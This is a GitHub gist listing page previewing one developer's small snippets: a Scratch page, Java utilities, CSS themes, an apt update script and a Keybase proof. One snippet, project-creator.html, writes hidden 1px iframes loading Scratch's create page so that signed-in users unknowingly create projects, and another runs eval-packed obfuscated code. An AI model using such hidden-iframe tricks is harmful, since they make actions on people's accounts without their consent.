Skip to content

Instantly share code, notes, and snippets.

View Arinerron's full-sized avatar
:shipit:
Free and Open Source Bugs (FOSB)

Aaron Esau Arinerron

:shipit:
Free and Open Source Bugs (FOSB)
View GitHub Profile
@Arinerron
Arinerron / Scratch-Page
Created January 1, 2016 20:38
A page that interacts with the user based on who they are. This was just a silly test I decided to try, you should check it out, it's pretty funny! :)
<html>
<head><title>User test</title></head>
<body style="background-color:lightgrey;">
<h2>Scratch Stuff by Arinerron</h2>
<script>var s = confirm("Please click OK if you are signed in to Scratch, Cancel if not; this page doesn't really work if you're not...");
if(s) {
} else {
document.write("Please this button once you sign in to Scratch! This page uses iframes and won't really work if you're not. (Inspect Element to see the src code).<br>");
document.write("<div style=\"border:1px dashed black; background-color:white;\"><input type=\"button\" name=\"Reload\" text=\"Reload\" id=\"clearCache\" value=\"Reload\" onclick=\"window.location.reload(true);\"></div>");
@Arinerron
Arinerron / project-creator.html
Last active February 8, 2017 04:06
Scratch project creator script here creates a ton of Scratch projects without the user knowing. WARNING: It will take a while to delete all these projects this script creates, so use with caution! The user must be signed in on Scratch.mit.edu for this to work, but really, this script can be on any site to work.
<script>
var numb = 30; // The number of projects to create
var warn = true; // Warn user about what's about to happen?
if(warn) {
var resp = prompt("Are you sure you want to create " + numb + " untitled projects? Type (y/n)");
if(resp == "y" || resp == "yes" || resp == "Y" || resp == "yep" || resp == "yeah") {
for(var i = 0; i < numb; i++) {
document.write("<div qjid=\"quickjack\" style=\"overflow: hidden; width: 1px; height: 2px; position: relative;\" id=\"cksl6\">\r\n<div class=\"ol\" style=\"position: absolute; width:1px; height: 2px; z-index:90; overflow: auto;\"><\/div><iframe name=\"cksl7\" src=\"http:\/\/scratch.mit.edu\/create\" style=\"border: 0pt none ; left: -724px; top: -32px; position: absolute; width: 1921px; height: 1078px;\" scrolling=\"no\"><\/iframe><\/div>");
}
@Arinerron
Arinerron / surprise.js
Created February 22, 2016 06:22
A surprise for a friend, Mooncat39 :)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.9="<4>&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;6\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;\\/&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;\\\\\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;5&0;&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;|&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;|&0;&0;8:\\\\>&0;3&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;&0;|&0;&0;&0;&0;|\\2\\1&0;&0;&0;&0;&0;&0;&0;
@Arinerron
Arinerron / Reader.java
Created March 5, 2016 05:47
A really simple program in 30 lines of code to decide the grade level that a book/paragraph/sentence should be offered to.
import javax.swing.JOptionPane;
public class Reader {
public Reader() {
String text = JOptionPane.showInputDialog("Please enter a few sentences to parse.");
int level = (int) read(text);
JOptionPane.showMessageDialog(null, "The text is " + (int) Math.ceil(level) + (level == 1 ? "st" : (level == 2 ? "nd" : (level == 3 ? "rd" : "th"))) + " grader level.");
}
@Arinerron
Arinerron / HeaderGenerator.java
Last active March 30, 2017 00:28
Need a dynamic programmatic file header generator? Try this out!
import java.util.LinkedHashMap;
import java.util.Map;
public class HeaderGenerator {
private Map<String, String> map = new LinkedHashMap<String, String>();
private String separator = ": ";
private int indentation_size = 4;
private char indentation_char = ' ';
private int padding_size = 1;
private char border_char = '/';
@Arinerron
Arinerron / styles.css
Created April 25, 2016 23:18
Dark theme for Stackoverflow...
#answer-from-ask {
background-color: #4d4d4d;
color: #303030;
}
#email {
background-color: #4a4a4a;
border-color: #d9d9d9;
border-style: solid;
border-width: 1px;
@Arinerron
Arinerron / keybase.md
Created June 23, 2016 18:27
keybase.md

Keybase proof

I hereby claim:

  • I am arinerron on github.
  • I am arinerron (https://keybase.io/arinerron) on keybase.
  • I have a public key whose fingerprint is 02EC 5EE6 194D A341 A132 A295 FA6E 4332 B944 9910

To claim this, I am signing this object:

@Arinerron
Arinerron / scrollbar.css
Last active October 10, 2016 07:16
custom scrollbar for @zacharyvincze's amazing user-friendly forum
::-webkit-scrollbar {
width: 13px;
height: 13px;
}
::-webkit-scrollbar-button {
width: 0px;
height: 0px;
}
@Arinerron
Arinerron / update.sh
Created August 15, 2016 06:09
My user-friendly updating script for Linux. Keeps the computer up-to-date. Perhaps I should make a cron job to make this run at midnight? :P
# Arinerron's update script
# License: Nope. This code is easily recreatable, and I spent like 5 minutes writing it. I couldn't care less if you claimed this code as your or somehow made millions off of this or whatever. Have fun. :P
export COLOR_NC='\e[0m';
export COLOR_GREEN='\e[0;32m';
clear;
echo -e "$COLOR_GREEN""[Update] ""$COLOR_NC""Updating package listing...";
sudo apt-get -qq update;
echo -e "$COLOR_GREEN""[Update] ""$COLOR_NC""Upgrading software...";
@Arinerron
Arinerron / Main.java
Created September 1, 2016 03:06
Read and write directly to a socket from terminal.
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {